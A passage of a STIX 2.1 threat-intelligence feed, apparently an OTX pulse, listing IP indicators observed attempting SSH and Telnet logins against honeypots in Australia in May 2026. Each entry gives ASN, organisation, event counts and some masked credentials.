      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.48.69.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49981. Organisation(s): WorldStream B.V..",
      "id": "indicator--88611a25-6484-4da4-a710-abf5439a92ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.38.96.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T19:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 12874. Organisation(s): Fastweb.",
      "id": "indicator--b0abd0c9-8043-4c75-bafc-a4534c23f3e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T19:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.41.227.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T19:15:14.000Z",
      "valid_until": "2026-06-04T19:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--5679f070-7d6e-47c7-8749-89fb05d2fc1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.192.71.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group.",
      "id": "indicator--784632b5-4efb-41ee-9f85-60ea607be177",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.97.105.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--1b3c8fb1-69e0-4de8-99a7-b3e73017cfe2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.228.210.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f6b532f7-75c4-4fbf-867f-890d249ba07e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.230.123.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ecdcde58-7f09-4335-b675-1db60edb4785",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.97.147.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12849. Organisation(s): Hot-Net internet services Ltd..",
      "id": "indicator--4a72b51a-1da6-428c-9dc7-3b6d11141758",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.57.87.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--ad29123c-038a-49ae-9a28-7722c1b82dcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.220.25.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 26042. Organisation(s): FiberState, LLC.",
      "id": "indicator--5ed4c814-944a-4976-9374-7efeeaf6d659",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.46.217.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): u****u, r**t, 3**********4, a***n, ***. Passwords observed (masked): 3***********4, 3**********4, a******3, **, ***.",
      "id": "indicator--75f61403-b47f-41f8-bc96-2b6f1207021e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.165.185.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 81. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): 3**********4, t******r, u****u. Passwords observed (masked): 3**********4, c******e, q********p.",
      "id": "indicator--f5cc8962-a39e-433d-8f2f-9436f6bac7ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.78.198.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--8f35a4ff-7fac-4a6e-9d0b-50e8860ab72f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.60.61.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 33984. Organisation(s): Surfplanet GmbH.",
      "id": "indicator--86318911-51e8-4c65-bf8b-b13f8efdbfd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.111.67.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 33182. Organisation(s): HostDime.com, Inc..",
      "id": "indicator--3f5e58f5-c43a-4462-ac15-2535c9fcb536",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.111.176.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--2188e092-b984-4a39-80d8-1a17d0916e68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.198.67.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 206264. Organisation(s): Amarutu Technology Ltd. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--140830db-60de-42dc-bb58-62fae547f9ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.42.231.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T20:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 8612. Organisation(s): Tiscali SpA. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--3dc23505-4304-434e-a9bd-6d99d2199c88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T20:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.35.140.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T20:15:10.000Z",
      "valid_until": "2026-06-04T20:15:08.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CD. ASN(s): 328442. Organisation(s): UNITED-SA. Usernames observed (masked): a***n, g*****n, m***t, u****u. Passwords observed (masked): 1***5, a***n, g****n, p******d.",
      "id": "indicator--19f560de-e022-43e6-a3bf-58d09fbcf457",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.216.240.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 149111. Organisation(s): TEDEV TECHNOLOGICAL DEVELOPMENT COMPANY LIMITED. Usernames observed (masked): u****u. Passwords observed (masked): f****1.",
      "id": "indicator--a5d98e78-67a5-4f6d-8412-e6e6a0e78ca0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.189.208.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52339. Organisation(s): Lima Video Cable S.A. Cabletel.",
      "id": "indicator--ae0fefe6-fd25-4ee5-a084-fdbd84e13bb0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.72.31.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): a***n, 3**********4, d****n, s******n, u****u. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, A******4.",
      "id": "indicator--b193b01e-226f-4c18-804e-122507af453a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1848. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t, u**r, a***n, s***m, u****u. Passwords observed (masked): 1****6, *, ***, 1***5, 1**4.",
      "id": "indicator--c4f3d7e5-7dfd-4b93-981f-8c0d937c3b25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 32098. Organisation(s): Transtelco Inc.",
      "id": "indicator--a6f6892c-9ebb-47ff-86a9-42aae85b2583",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.249.58.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28219. Organisation(s): Net Rosas Telecomunicacoes Ltda..",
      "id": "indicator--533ea238-e5d7-4914-810b-174e8538a1f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.124.30.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--026da9a8-d8c9-441a-b50b-8b0c3f6d5ac0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 18429. Organisation(s): Extra-Lan Technologies Co., LTD.",
      "id": "indicator--d7872d2b-dae5-4c2a-81f4-30b2a8e5e375",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.64.233.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--1ba4b767-169f-4bf1-84ab-9fb199cac81d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.222.159.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T21:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--e49e3035-2789-417e-b831-0ac70815472c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T21:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.37.117.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T21:15:05.000Z",
      "valid_until": "2026-06-04T21:15:03.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 141480. Organisation(s): Haash Media.",
      "id": "indicator--88f6496c-fd05-45f9-bd5a-7fa87c4679b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.155.131.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--2acedde4-cfbf-4c62-b061-9ca545d6b44d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.12.170.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 59588. Organisation(s): Al Atheer Telecommunication-Iraq Co. Ltd. Incorporated in Cayman Islands.",
      "id": "indicator--44d1d3fc-ba00-412f-9b34-68c2704f0cc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.236.189.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, u**r, 3**********4, ***, d****y. Passwords observed (masked): 1********m, 1******8, 1******y, 1*******d, 1****c.",
      "id": "indicator--2ad0b7d8-4d73-4256-bd28-45398a1b2192",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.218.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 139833. Organisation(s): Cable Television Network Inc..",
      "id": "indicator--dec82bcd-9517-44ba-b195-3a2f99dbe4ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.187.113.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 265192. Organisation(s): Borracharia Barroso Ltda.",
      "id": "indicator--340c347a-1a84-4111-a446-453c11161d3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.249.147.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T22:15:10.000Z",
      "valid_until": "2026-06-04T22:15:08.000Z"
    },
    {
      "created": "2026-05-03T22:15:10.000Z",
